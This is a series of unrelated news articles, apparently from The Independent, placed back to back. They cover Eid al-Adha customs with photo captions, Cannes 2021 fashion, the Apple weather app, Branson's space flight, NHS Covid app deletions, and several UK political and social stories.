dressed in his holiday outfit, prays over the tomb of a loved one AFP/Getty Eid al-Adha celebrations around the world Men prepare to eat during Eid al-Adha celebrations in the village of Kok-Jare outside Bishkek, Kyrgyzstan EPA Eid al-Adha celebrations around the world Palestinians attend prayer on the first day of Eid al Adha in Gaza City EPA Eid al-Adha celebrations around the world A man attends a Muslim morning prayer gathering at the industrial wasteland of Parco Dora in Turin AFP/Getty Eid al-Adha celebrations around the world Cairo, Egypt Muslims try to catch balloons distributed for free after Eid al-Adha prayers outside al-Seddik mosque in Cairo, Egypt, Tuesday, August 21. AP Eid al-Adha celebrations around the world Afghans greet each other after congregational prayers during the holy festival of Eid al-Adha, in Kabul EPA Eid al-Adha celebrations around the world A man distributes sweets to children after Eid al-Adha prayer at King Abdul Aziz Mosque, Riyadh, Saudi Arabia EPA Eid al-Adha celebrations around the world Kosovo boys pray to mark the first day of Eid al-Adha outside the Sultan Mehmet Fatih mosque in Pristina AP Eid al-Adha celebrations around the world A child holds up a selfie stick before morning prayers in Quezon City, Philippines EPA Eid al-Adha celebrations around the world Muslim Hajj pigrims pray around the holy Kaaba at the Grand Mosque on the first day of Eid al Adha in Mecca EPA Eid al-Adha celebrations around the world Palestinians attend prayer on the first day of Eid al Adha in Gaza City EPA Eid al-Adha celebrations around the world Palestinians attend prayer on the first day of Eid al Adha in Gaza City EPA Eid al-Adha celebrations around the world A clown distributes balloons near the Dome of the Rock at al-Aqsa Mosque compound in Jerusalem's old city on the first day of Eid al-Adha AFP/Getty Eid al-Adha celebrations around the world A young Palestinian girl flies a helium balloon near the Dome of the Rock at al-Aqsa Mosque compound in Jerusalem's old city AFP/Getty Eid al-Adha celebrations around the world Women and children conduct morning prayers to mark Eid al-Adha at a public park in Quezon City, Philippines EPA Eid al-Adha celebrations around the world Muslim Hajj pigrims pray around the holy Kaaba at the Grand Mosque on the first day of Eid al Adha in Mecca EPA Eid al-Adha celebrations around the world Men hug each other after offering Eid al-Adha prayers outside of the Shah-e-Dushamshera mosque in Kabul AP Eid al-Adha celebrations around the world Children dressed in their holiday clothes play on a swing in the opposition-held southern Syrian city of Daraa on the first day of Eid al-Adha AFP/Getty Eid al-Adha celebrations around the world Bamako, Mali Malian women have their hair cut and styled in a salon, on the eve of Eid al-Adha in Bamako on August 20, 2018. AFP/Getty Eid al-Adha celebrations around the world Almaty, Kazakhstan A man squats as he carries a sheep during a competition to mark Kurban-Ait, also known as Eid al-Adha, at the Central Mosque in Almaty, Kazakhstan August 21, 2018. Reuters Eid al-Adha celebrations around the world Nairobi, Kenya Muslims attend prayers to mark Kurban-Ait, also known as Eid al-Adha, at an open field in Nairobi, Kenya August 21, 2018. Reuters Eid al-Adha celebrations around the world Kavaja, Albania Albanian Muslims pray in the main square of Kavaja on August 21, 2018, to mark the first day of the Eid al-Adha Festival. AFP/Getty Eid al-Adha celebrations around the world Gaza City Palestinian women take a selfie while waiting for for prayers on the first day of Eid al-Adha festival, in Gaza City August 21, 2018. Reuters Eid al-Adha celebrations around the world Muscat, Oman Muslim men take part in the morning prayers outside a mosque in the Omani capital Muscat on the first day of Eid al-Adha on August 21, 2018. AFP/Getty Eid al-Adha celebrations around the world Pristina, Kosovo Kosovo men pray to mark the first day of Eid al-Adha outside the Sultan Mehmet Fatih mosque in Pristina, Kosovo, Tuesday, August 21, 2018. AP Eid al-Adha celebrations around the world Beirut, Lebanon Muslims perform the Eid al-Adha prayer outside Al Ameen Mosque in downtown Beirut, Lebanon, 21 August 2018 EPA

Ibrahim, also known as Abraham, is a prominent figure in Islam, Judaism and Christianity.

This story in different versions is in the Quran, the Bible, and the Old Testament, which shows the common heritage of Judaism, Christianity, and Islam, states the United Religions Initiative.

According to the Quran  the sacred religious book of Islam  just as Ibrahim was about to sacrifice his son, God replaced Ismail with a lamb, which was sacrificed instead.

This command from Allah SWT was a test of Prophet Ibrahims willingness and commitment to obey his Lords command, without question. Therefore, Eid al-Adha means the festival of sacrifice, states UK-based charity Muslim Aid.

What is the difference between Eid al-Adha and Eid al-Fitr?

Eid al-Adha and Eid-al-Fitr are the two major religious festivals observed in the religion of Islam.

Eid al-Fitr, which was celebrated in May in countries across the world, translates in Arabic to mean the feast of the breaking of the fast.

The festival marks the end of Ramadan, the Islamic holy month which involves Muslims fasting during daylight hours for 29 to 30 days.

Eid al-Adha coincides with Hajj, the annual Islamic pilgrimage to Mecca, in Saudi Arabia.

In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Show all 19 1 /19 In pictures: Muslim pilgrims gather on Mount Arafat for Hajj In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or the Mount of Mercy), where the Prophet Muhammad is believed to have delivered his final sermon Reuters In pictures: Muslim pilgrims gather on Mount Arafat for Hajj A Muslim pilgrim prays as another takes a photo on the Mount Arafat AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims arrive at the plains of Arafat Reuters In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims arrive at the plains of Arafat AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Mount Arafat during the Hajj EPA In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims pray on Mount Arafat (or Jabal ar-Rahmah) during the Hajj AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims pray by the Namira Mosque on the plains of Arafat during Hajj Reuters In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims pray by the Namira Mosque on the plains of Arafat during Hajj Reuters In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or the Mount of Mercy) during the Hajj AFP/Getty In pictures: Muslim pilgrims gather on Mount Arafat for Hajj A Muslim pilgrim wheels his children on a wheelchair towards Mount Arafat AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Pilgrims circle the Kaaba as they pray in the Grand Mosque of Mecca ahead of the Hajj AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims arrive at the plains of Arafat Reuters In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or Jabal ar-Rahmah) during the Hajj EPA In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or the Mount of Mercy) during the Hajj AFP/Getty In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims shelter from the sun under a bridge near Mecca EPA In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims walk towards Namirah mosque on Mount Arafat during the Hajj AP In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or Jabal ar-Rahmah) during the Hajj AFP/Getty In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or the Mount of Mercy) during the Hajj AFP/Getty In pictures: Muslim pilgrims gather on Mount Arafat for Hajj Muslim pilgrims gather on Mount Arafat (or Jabal ar-Rahmah) during the Hajj AFP/Getty

When is it?

This year, Eid al-Adha begins on the evening of Monday 19 July and ends on the evening of Friday 23 July.

How is the date of Eid al-Adha decided?

The Islamic calendar is a lunar calendar, meaning the dates of annual events may vary on an annual basis in accordance with the phases of the moon.

Eid al-Adha takes places on the 10th day of the final month of the Islamic calendar, Dhu al-Hijjah.

Dhu al-Hijjah is the 12th and most sacred month of the Islamic year, during which observant Muslims travel to Mecca for Hajj.

All able-bodied adults of the Islamic faith are expected to complete Hajj at least once in their lifetimes.

How is the festival celebrated?

As Eid al-Adha commemorates the sacrifice made by the prophet Ibrahim, Muslims typically celebrate the festival by carrying out a Qurbani, meaning sacrifice in Arabic.

The animal that is sacrificed  which is usually a goat, sheep, cow or camel  is separated into three parts.

At least one third of the meat from the animal must go to poor or vulnerable people, states international aid organisation Islamic Relief.

Traditionally, a Muslim would keep one third of the meat for their family and give the final third to their neighbours.

During the morning of Eid al-Adha, a special prayer called Salat al-Eid is recited in honour of the festival, ahead of the Dhuhr prayer at noon.

Muslims traditionally dress in fine clothes in celebration of Eid al-Adha, in addition to exchanging gifts.

Eidi is the Arabic word for a gift given to children by relatives during Eid al-Adha and Eid al-Fitr.

What food is eaten during Eid al-Adha?

While Eid al-Fitr is known as sweet Eid, Eid al-Adha is contrarily known as salty Eid.

As such, the food eaten during the second festival is predominantly savoury, including the animal which is sacrificed during the observance.

Arabian pastries called Maamoul are also eaten during both Eid festivals, as well as at night during the holy month of Ramadan.

Maamoul are made using ingredients including dates and nuts, and are often served in a ball or cookie shape.

How do you wish someone a happy Eid?

The phrase widely used to wish someone a happy Eid during Eid al-Adha and Eid al-Fitr is Eid Mubarak.

In Arabic, this phrase translates to mean Blessed Eid.
The Cannes film festival might primarily be a celebration of cinema, but as any fashion fan will know, its just as much of a sartorial spectacle as well.

Every year since 1946, with the exception of 2020 due to the pandemic, a menagerie of film stars, models, and directors decamp to the French Riviera to preview the hottest releases for the year.

Each screening is preceded by a red carpet, usually attended by the cast of the film and other high-profile attendees. But the Cannes red carpet is unlike any other.

In fact, bar the Met Gala, its one of the most glamorous events in the fashion calendar, one where red carpet history is often made.

Consider Bella Hadids 2016 silk scarlet gown by Alexandra Gauthiere that featured an impossibly high thigh slit. Or Vanessa Redgraves top-to-toe embellished ensemble that she wore in 1967. Or Angelina Jolies free-flowing pleated Max Azria gown that she wore when she was pregnant with twins Knox and Vivienne in 2008.

Theres no doubt about it, Cannes is a place synonymous with some of the most iconic fashion looks in recent history.

This year, having had extra time to pull their outfits together, attendees did not disappoint, with the likes of Timothee Chalamet, Tilda Swinton, and Jodie Turner-Smith donning their glad rags for the proceedings.

Here are some of our favourite looks from the Cannes Film Festival 2021.

Tilda Swinton

The French Dispatch star wore a slick electric blue suit by Haider Ackermann for a photocall at Cannes. (Getty Images)

Rosamund Pike

The British actor wore a crimson tulle gown by Dior for the closing ceremony of Cannes. The dress featured a full pleated skirt and a ruffled bodice with sheer cutouts. (Getty Images)

Charlotte Gainsbourg

The French film star and director wore a denim two-piece by Saint Laurent for a photocall at Cannes. (Getty Images)

Maggie Gyllenhaal

The American actor wore a monochrome look by Chanel comprising a full black tulle skirt and a white buttoned-down shirt. (Getty Images)

Bella Hadid

Dubbed the lung dress, Hadids ensemble was bespoke Sciaparellie couture and featured a scooped bodice with gold encrusted jewels delicately placed over the top. (Getty Images)

Gemma Chan

The English actress wore a gold sequin gown by Oscar de la Rent for the closing night of the Cannes Film Festival. (Getty Images)

Jodie Turner-Smith

The British actor had many showstopping looks at this years Cannes, but this canary yellow Gucci number was the all-time favourite. Complete with a fitted bodice and a flowing feathered skirt with a train, it was the perfect Cannes look. (Getty Images for Kering)

Isabelle Huppert

Never one to miss the fashion mark, the French actor chose a form-fitting black silk gown by Balenciaga that featured a high-neck, long sleeves, and a slight slit. She accessorised the look with a pair of oversized black sunglasses. (Getty Images)

Anna Cleveland

The American model went all-out in this gold Alberta Ferretti gown that featured an embellished bodice and a tasseled sequin skirt. (Getty Images)

Sharon Stone

The actor chose a white and silver sequin gown by Dolce & Gabbana for the closing ceremony at Cannes. (Getty Images)

Iris Law

The British model chose a simple white Dior look for her Cannes appearance. The dress featured a pleated sheer skirt and a Grecian bodice. (Getty Images)

Timothee Chalamet

Known for his sartorial credentials, the American actor chose a velvet metallic suit by Tom Ford for his appearance at the screening of The French Dispatch, the upcoming Wes Anderson film in which he stars. He paired the suit with a classic white shirt and some white boots. (Getty Images)

Camille Cottin

The beloved Call My Agent star wore a cream shirt dress with a trio of black belts and some heavy-duty black biker boots for a photocall at Cannes. (Getty Images)

Andie Macdowell

The American actor chose a white sequin off-the-shoulder gown by Atelier Versace for one of her many red carpet appearances at this years Cannes. (Getty Images)

Didi Stone

The French model looked majestic in this lilac pleated metallic gown by Philosophy di Lorenzo Serafini. (AFP via Getty Images)

Josh O'Connor

The British actor, best known for playing Prince Charles in The Crown, wore a simple tailored look by Loewe for a photocall at Cannes, comprising a pair of khaki trousers and a pale pink shirt with a mock beige vest over the top. (AFP via Getty Images)

Meng Li

The Chinese actor chose a bright blue silk shirt dress by Balenciaga for a screening at Cannes that came with a knee-high slit and a cinched-in waist. (Getty Images)

Jane Birkin
Apples weather app will not tell users when it is 69 degrees outside.

The built-in application on the current version of iOS and iPadOS, the software for iPhones and iPads, appears to round temperatures to either 68 degrees or 70 degrees.

The number 69 is a reference to a sexual position, known online as the sex number, and any use of it online is often followed by people replying nice. As such, it is possible that Apple wanted to avoid having any of its products associated with lewd comments, and implemented the adjustment.

Apples weather app takes its data from Weather.com but, as The Verge noticed, when the temperature shown is shown is either 68 or 70 degrees, clicking through to the source of the information shows the real temperature as 69 degrees.

It is possible that Apple implemented this as a way to avoid meme-based screenshots, but it is also possible that there is a technical reason for the omission of the number: Apple could be sourcing data for the Weather app in Celsius, and then converting it into Fahrenheit  meaning that 20 degrees Celsius becomes 68 degrees Fahrenheit, while 21 degrees Celsius becomes 69.8 degrees Fahrenheit, which rounded up is 70 degrees Fahrenheit.

It is reported that iPhones running iOS 11.2.1 up to iOS 15 show an accurate 69 degree measurement, so it appears Apple pushed the change in a very recent update. However, it appears that negative 69 degrees is an acceptable temperature to show on iPhones.

Apple did not respond to a request for comment from The Independent before time of publication.
Richard Branson has said that critics who believe that he should use his vast wealth to address issues such as climate change are not fully educated as to what space does for Earth.

Speaking on The Late Late Show, hosted by Stephen Colbert, the billionaire said: Space is connecting the billions of people who are not connected, on telephones, on other things.

Every single spaceship that we sent  putting satellites up there, monitoring different things around the world, the degradation of rainforests, monitoring food distribution, even monitoring things like climate change, these things are essential for us back here on Earth. We need more spaceships going up to space, we dont need less.

The Virgin Galactic founder also told NBC News: I 100 percent agree that people who are in positions of wealth should spend most of their money, 90 percent or more of their money, trying to tackle these issues, but we should also create new industries that can create 800 engineers, and scientists who can create wonderful things that can make space accessible at a fraction of the environmental cost that its been in the past.

Branson, personally, is worth $5 billion, according to Forbes. Virgin Galactics shares are currently worth more than $43, which gives it a market value of about $11.8 billion. It would cost only $20 billion to end homelessness in the United States, according to the Department of Housing and Urban Development.

Branson claimed that the environmental cost of Virgin Galactics trip to suborbital space is the equivalent to one Virgin Atlantic round trip from London and back. A Virgin Galactic spokesperson reiterated that impact and said that its emissions were offset.

A person travelling on a business ticket between London and New York causes the release of around 1.7 tonnes of CO2  roughly the same emissions created by the average person in Morocco over the course of a year. However, when asked by The Independent for more information about the flights emissions, Virgin Galactic refused to provide any information.

It doesnt make sense to me, says Prof Paul Peeters, a researcher of sustainable tourism and transport at Breda University of Applied Sciences in the Netherlands.

We are really struggling to cope with climate change, both in terms of solving the problem and in terms of adaptation  you can see that with the wildfires burning entire villages [in Canada], he told The Independent. So to cause more climate change just for a few minutes of fun, I find that a bit difficult.

Shares of Virgin Galactic jumped by 22 per cent, Fortune reports, increasing the companys wealth by $841 million.
John Carus, from The Wirral, has already deleted the NHS Covid app. The 63-year-old had initially been reluctant to download the contact-tracing software when it was first launched, but decided to get it as he trusted it would work.

However, a month ago, he opened the app to check into his local pub only to find that it had started a 10-day self-isolation countdown without notifying him. The only reason I found out that I should have been isolating was because I opened it, I wasnt notified at all, he said. Whats the point of it if they dont send a message or an email?

I hadnt gone or checked in anywhere in the three days before I saw the countdown, which had seven days left on it. I wouldnt even have known if Id been pinged, I think that is a major fault.

The NHS Covid app was designed to help track and trace efforts in managing the pandemic. It notifies people when they should self-isolate if they have come into close contact with someone who tests positive for the virus and uses Bluetooth to detect the distance between users and the length of time spent in the potential exposure zone.

Having the app is not a legal requirement. The NHS says: The NHS Covid-19 app is entirely voluntary and you can choose whether or not to download it. You can also uninstall and delete the app whenever you like.

But amid warnings that millions could be asked to self-isolate this summer as restrictions lift, many have already made the decision to get rid of it. A poll has suggested that about one in five (20 per cent) adults of all ages in the UK who had the NHS Covid-19 app have since deleted it from their phone. The proportion rises significantly among young people, with more than a third of 18 to 24-year-olds having deleted it already.

Unlike Carus - who deleted the app because a technical glitch meant he questioned its usefulness - it has been suggested that a large number of people are deleting the app (or at least turning off Bluetooth functionality) as case numbers rise and it presents more of an inconvenience, said Professor Henry Potts, of University College London.

Englands so-called Freedom Day is fast approaching next Monday (19 July), and will see the government lift social distancing restrictions and the mandate to wear face masks, although Boris Johnson has urged people to take personal responsibility over wearing them in crowded spaces.

As the day approaches, scientists and ministers have raised concerns about people choosing to delete the NHS Covid-19 app in order to avoid orders to self-isolate. Last week more the app sent more than 350,000 pings in seven days.

Currently, more than 36,000 Covid-19 infections are being recorded every day. The health secretary Sajid Javid warned last week that there could be as many as 100,000 cases a day this summer after all remaining restrictions are eased.

I wouldnt even have known if Id been pinged, I think that is a major fault

Although Carus faith in the system was first knocked by the glitch - it took a further hit after his wife went to a restaurant with four other people. Three people used the app to check in, while the other two filled out a form with their contact details and returned it to the restaurant.

Later, the three people who used the app  including Carus wife  were pinged to self-isolate, but the other two who filled out a form were not contacted.

It just made me think, there must have been around 200 to 300 people who had gone to that restaurant, theres no way the restaurant is ringing them all up. But if you fill in a form and no one rings you up, whats the point? And then everyone else who has the app has to self-isolate? he said.

Most normal people are trying to do what they think is best to keep everyone safe but when you see stuff like that, you just think theres no point.

For others, like 45-year-old Marion, the turning point with the app was seeing the 60,000-strong crowds at Wembley stadium over the weekend, during the Euro 2020 finals. She deleted the app from her phone after that.

Ive been stuck at home for a year and a half, Ive not been able to go to work, not been able to visit my parents who live in a different country. Then I saw crowds like that and thought, well of course Covid cases are going to go up, she told The Independent.

Im really careful most of the time, but to be honest Im a bit confused about new rules and I dont know how contact tracing is going to work once all the restrictions are lifted, I just dont get it.

Downing Street has urged people to continue using the NHS Covid app in England and Wales, saying it has been an important tool in breaking the chain of transmission of Covid-19. But Marion finds it difficult to see what benefit the app will have if all Covid measures are eased wholesale.

I saw crowds [at Wembley] and thought, well of course Covid cases are going to go up

It just feels like the chance of getting pinged and having to self-isolate will be much, much higher. I, personally, will continue to do my best to be careful, wear a mask and all that, but I really dont see how the app would work now with everything reopening, she said.

Chris Hopkins, political research director at Savanta ComRes, said the huge numbers of people who are planning to delete the app or have already show that attempts to contain the virus without restrictions are likely to be very difficult.

He added: Of course, many have reasons for deleting the app, including fearing a lack of income if told to self-isolate.

However, on this evidence, the government can continue to blame the public if  as some expect  cases, hospitalisations and deaths from coronavirus rise in the latter half of the summer.
A restaurant in Massachusetts has closed its doors for one day to give the staff a break after facing an onslaught of negative experiences from customers.

Apt Cape Cod, a farm-to-table restaurant in Brewster, is owned and operated by Brandi Felt Castellano and her wife Regina Felt Castellano. Kindness is an important concept to the two women; the restaurant has the motto Comes as Strangers, Leave as Friends

She wrote ina Facebook post earlier this month, As many of our guests and patrons treat us with kindness and understanding, there have been an astronomical influx daily of those that do not, swearing at us, threatening to sue, arguing and yelling at my staff, making team members cry. This is an unacceptable way to treat any human.

Ms Felt Castellano said this treatment from customers had led her to make the choice to shut up shop for a day so she could carry out maintenance on the shop and give her work force a day of kindness.

So Chef Regina and I have decided to take the day and give the staff time deep clean the restaurant, train, and treat my staff to a day of kindness, she continued.

The restaurant reopened the following day. However, she urged diners to be respectful to the people working in the restaurant, reminding customers it was a lot of the staffs first jobs. They are also battling against some not ideal conditions, such as small kitchen space.

People left comments expressing their shock to hear about the experiences the Felt Castellanos and their workforce had been having.

Eric McNulty said, Shame on those customers. Thank you for taking care of your staff. Cant wait to come by and be nice at breakfast.

Brandi Felt Castellano remarked that as the Covid-19 pandemic has gone on, the attitudes displayed by customers have gotten increasingly negative

I would say that it is its own epidemic, she told The New York Times about how the rudeness from customers had exceeded anything she had seen in 20 years in the industry.

Ms Felt Castellano also told the Times that other restaurant owners had thanked her for saying what weve all been wanting to say.

In the neighbouring state of Rhode Island, there have been attempts to get customers to be more gracious to the people serving them in hospitality settings. The Rhode Island Hospitality Association launched the campaign Please Be Kind. The president of the group, Dale J Venturini told the Times that social distancing measures have decreased peoples tolerance.

I think its pent-up demand. People do not have the same patience that they may have had in the past, and Im hoping thats going to change, he said.

The Independent reached out the Apt Cape Cod for comment.
Meghan Markle is creating and executive producing a new animated series for Netflix, titled Pearl, that will focus on a 12-year-old girls heroic adventures.

The Duchess of Sussexs latest project, which will be created by her and Prince Harrys Archewell Productions, was reported on Wednesday, with The Hollywood Reporter noting that it is the second project the couple has created in partnership with Netflix.

According to Archewell Productions, the animated series, which is currently in the developmental stages, will focus on a 12-year-old girl who is inspired by influential women from history.

The creation of the project will see Meghan executive producing alongside David Furnish, Carolyn Soper and Emmy-winning filmmakers Liz Garbus and Dan Cogan, while Amanda Rynda will also be a part of the project as showrunner and executive producer.

Like many girls her age, our heroine Pearl is on a journey of self-discovery as she tries to overcome lifes daily challenges. Im thrilled that Archewell Productions, partnered with the powerhouse platform of Netflix, and these incredible producers, will together bring you this new animated series, which celebrates extraordinary women throughout history. David Furnish and I have been eager to bring this special series to light, and I am delighted we are able to announce it today, the duchess said.

Mr Furnish, who produced Gnomeo & Juliet, also expressed his excitement over the project in a statement obtained by The Hollywood Reporter, in which he said: I am delighted that we are finally able to announce this exciting animated series.

Meghan, the Duchess of Sussex and I are deeply passionate about bringing the inspirational and positive stories of extraordinary women from around the world to a global audience of all ages. The team collaborating on the series are first class, and Netflix are the perfect partner.

The announcement of Meghans new series Pearl, which Archewell noted is the projects working title, comes after Netflix announced in April that it had teamed up with the royal couples production company and the Invictus Games Foundation on Heart of Invictus, a docu-series focused on those competing in the Invictus Games.

The royal couple, through their Archwell Productions company, signed a multi-year deal with Netflix in September 2020, which will see them create documentaries, docu-series, feature films, scripted shows and childrens programming with the streaming giant.

Although exact details of the deal have not been disclosed, several reports have suggested it could be worth in excess of $100m (72m).
A Metropolitan Police officer has been charged with misconduct in public office over allegations of inappropriate contact with teenagers.

PC Adnan Arib will appear at Westminster Magistrates Court on Friday.

The Independent Office for Police Conduct (IOPC) said it conducted an investigation following a referral from Scotland Yard in July 2019.

It said PC Arib, who is based in east London, has been charged with two counts of misconduct in public office in relation to allegations of inappropriate contact he had with two teenagers he met through the course of his duties.

The charge was announced following a series of controversies for the Metropolitan Police, which is facing fresh criticism for its handling of disorder at Wembley during the Euro 2020 final.

Wayne Couzens, formerly an armed officer in diplomatic protection, admitted murdering Sarah Everard last week and faces a whole-life term.

The Met was criticised by MPs and parliamentary committees for its handling of a vigil for Everard, where women were arrested and organisers threatened with prosecution.

Earlier this year, another Metropolitan Police officer was convicted of joining a neo-Nazi terrorist group.

Ben Hannam passed vetting and served in the force for two years before his links to National Action were discovered.

Last month, an inquiry into the unsolved murder of a private detective accused the Metropolitan Police of institutional corruption.

Commissioner Dame Cressida Dick has resisted calls to resign, amid unconfirmed rumours that she is hoping to extend her term beyond its automatic expiry next April.

She was made a dame commander by the Prince of Wales of her public service at royal ceremony on Wednesday.
Tory MPs have called on the Home Office to commit to welcoming a specific number of refugees under its resettlement programme in line with international norms after it scrapped a previously pledged target.

Former immigration minister Caroline Nokes and Tory MP David Simmonds are among politicians who have signed a statement urging for unity rather than hostility in the public debate around immigration after the Nationality and Borders Bill was laid in Parliament last week.

In a statement published on Wednesday, they expressed concern about the fact that, as part of its new immigration plans, the Home Office has dropped a target to resettle 5,000 refugees in the first year of its new global resettlement scheme.

Announcing the plans in March, home secretary Priti Patel said the department would maintain its long-term commitment to resettle refugees from around the globe  but without a specific number and no given timeframe.

The statement, also signed by Tim Farron, Neil Coyle and Rt Rev Paul Butler, states: Together, we will continue to call for the creation of safe routes for refugees to travel to the UK for protection.

In order for safe routes to have the desired effect of preventing people from making dangerous journeys, it is necessary to have sufficient ambition about the overall number of people able to access the routes provided.

It adds: The existing safe routes should be maintained and not reduced.

The UNHCR, which works with countries across the globe to facilitate refugee resettlement, has also raised alarm about the absence of a numerical commitment, warning that it would complicate the process.

The organisation told The Independent last month: Having clarity on the numbers of refugees that are arriving via resettlement now and in future years is important for managing the programme  for UNHCR as well as local authorities and partners, who need clarity to be able to retain skilled staff. It also helps manage refugees expectations.

It comes amid widespread concern about the Home Offices planned asylum overhaul, which would see refugees who arrive in the UK via unauthorised means  more than six in 10 of those who have arrived in recent years  denied permanent protection.

The Nationality and Borders Bill, laid in parliament last Tuesday, would enable immigration officers to intercept vessels in British waters and take them to foreign ports  a controversial practice known as pushback.

It would also allow the Home Office to send asylum seekers overseas while their claims are processed, in a similar way to the offshore polices introduced in Australia in 2013. Rwanda, Ascension Island and Gibraltar have been mooted as potential offshore locations.

The UN warned last week that the UKs plans took an almost neo-colonial approach and was designed to shift the responsibility for protecting refugees away from Britain.

Gillian Triggs, the assistant high commissioner for protection at the UNHCR, said during a Chatham House briefing last Thursday that the UK appeared to be trying to wash its hands of its international responsibilities.

A Home Office spokesperson said: No one should be in any doubt of our commitment to build upon our proud history of resettling refugees in need of protection. We have a strong track record and since 2015 we have resettled more than 25,000 vulnerable refugees, around half of whom are children.

Through our New Plan for Immigration we will strengthen safe and legal routes to the UK for refugees from regions of conflict and instability, and discourage dangerous journeys. This is not about numbers - those we resettle will be supported to integrate into their communities, and we will provide them with support with a focus on the English Language and employment, to help them rebuild their lives in the UK.
Millions of families are set to be left with less than half of the income required to have an acceptable standard of living following the planned cut to universal credit in three months time, new research finds.

A report by the Joseph Rowntree Foundation (JRF) warns that the 20-a-week benefit cut, due to take place at the end of September, would reduce the value of out-of-work welfare support to its lowest recorded level relative to what the public thinks is an acceptable income.

Separate research by the Trade Unions Congress (TUC) meanwhile reveals that over a million children in key worker households live in poverty, prompting calls for a halt on the scaling back of universal credit.

It comes amid mounting disquiet among Tory MPs over the governments reluctance to extend the measure  first introduced at the onset of the pandemic  despite the impact of the crisis continuing to reverberate.

The JRFs findings are based on the charitys Minimum Income Standard (MIS) for the UK, which is based on discussions with members of the public about what they think is needed to achieve an acceptable standard of living, and acts as a benchmark of minimum living standards.

For a working age couple with two young children this is 482 per week, excluding rent/mortgage, childcare and council tax. For a working age couple without children it is 356 and for a single working age adult without children it stands at 213.

The research, carried out by Loughborough Universitys centre for research in social policy, estimates that around 2 million people living in out of work households are likely to be living on incomes below half of the MIS if the planned cut to universal credit goes ahead.

It finds that the cut would reduce the value of this support to 55 per cent of MIS for a couple with two young children, and just 33 per cent of MIS for a single working-age person without children.

The report notes that some working parents have in recent years been able to get closer to MIS due to increases in the National Living Wage, the universal credit uplift and increased support for childcare in the benefit system.

However, the researchers warn that this risks being reversed for most families who have benefited if universal credit is cut.

Describing the findings as deeply concerning, Iain Porter, policy and partnerships manager at the JRF, said it would be a terrible mistake for ministers to go ahead with the planned cut, which he warned would leave millions of families unable to meet their needs.

Social security should be strong enough for all of us when we need a lifeline, but cuts and freezes in recent years have left it to wear thin and threadbare. We urgently need to restore public confidence by investing in adequate social security support for families when they need it, he added.

It comes as TUC research, produced by Landman Economics, revealed that over a million children of key workers are currently living in poverty, with more than a quarter of youngsters with parents or carers in key worker jobs not having enough to live on.

Key worker families in the North East have the highest rate of child poverty (29 per cent), followed by London (27 per cent), the West Midlands (25 per cent) and Yorkshire and the Humber (25 per cent), the research finds.

The TUC said the main reasons for key worker family poverty were low pay and insecure hours, and is called on ministers to cancel the 20 weekly cut, warning that universal credit was not enough to guarantee families avoid poverty.

The unions general secretary Frances OGrady said: Every key worker deserves a decent standard of living for their family. But too often their hard work is not paying off like it should. And they struggle to keep up with the basic costs of family life.

This isnt just about doing right thing by key workers. If we put more money in the pockets of working families, their spending will help our businesses and high streets recover. Its the fuel in the tank that our economy needs.

Director of policy and campaigns at Action for Children, Imran Hussain, said: The planned 20 a week cut to universal credit in October is likely to throw more children into poverty. The Government should think again and choose to back the low paid.

Over the weekend, the Northern Research Group (NRG), which represents around 50 MPs, called on ministers to keep the increase in place, describing the emergency payments as a life-saver for people during the Covid-19 pandemic.

The government has been approached for comment.
Conservative MPs who hyped the potential benefits of Brexit for the fishing industry have been accused of quietly abandoning any mention of the issue after promised gains failed to materialise.

The National Federation of Fisherman's Organisations (NFFO) said on Wednesday that even the "most vociferous supporters" in the Tory parliamentary party had gone "very quiet" since the signing of Boris Johnson's deal.

It comes after fishing representative bodies accused the prime minister of a "betrayal" and for weaving a "tale of woe, very far away from the sea of opportunity that some spoke about".

"Those Conservative MPs that were our most vociferous supporters were very quiet, about the implications of the TCA [trade and cooperation agreement]. That's the world that we're having to adjust to," said Barrie Deas, chief executive of the NFFO in a briefing with journalists on Wednesday.

"The European Research Group, for example quite often referred to fishing as a poster child [for Brexit] but I don't think any of them came out and said this is a bad deal for fishing. Their eye was on the main prize, which of course was the trade agreement."

Mr Deas reiterated the widely held industry position the agreement signed with the EU had been a "sell-out", keeping the situation more or less unchanged until at least 2026. And he said Brussels was "quietly confident" that it could use future negotiations to prolong the status quo indefinitely.

"It's really quite hard to convey how sudden the industry's fall from grace was. In December last year we were the kind of the poster child for Brexit, and we were very much looking forward to a future as an independent coastal state, with very, very solid assurances given by the Prime Minister, Lord Frost, and senior members of the of the cabinet over control over who fishes in UK waters and escape from the Common Fisheries Policy  and quota shares that reflected our new status as an independent coastal state," he said.

"And then, from Christmas Eve, really, the government in an eerie echo of Ted Heath's betrayal  as it's seen in the industry  in 1973 where fishing was sacrificed, despite all the assurances and promises. That deal was made in order to secure the broader advantages that would be attached to a trade deal with the EU."

The chief executive said fishermen had been dealt a triple blow by Brexit, the expansion of offshore wind turbines, and what he referred to as a government "in thrall" to the "conservation lobby". He argued that fishing politics would be "toxic" for years to come.

And Mr Deas argued that the weak deal struck with the EU had been interpreted by other countries as a sign that the UK would not stand up for fishermen  an approach they were increasingly taking advantage of.

"The turbulence that has been created has extended to our relations with Norway," he said, describing the country's policy as a "quota grab".

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"Seeing that the UK gave into the EU, Norway is playing quite a dangerous game of hardball on Mackerel - at some cost, it has to be said, to their reputation."

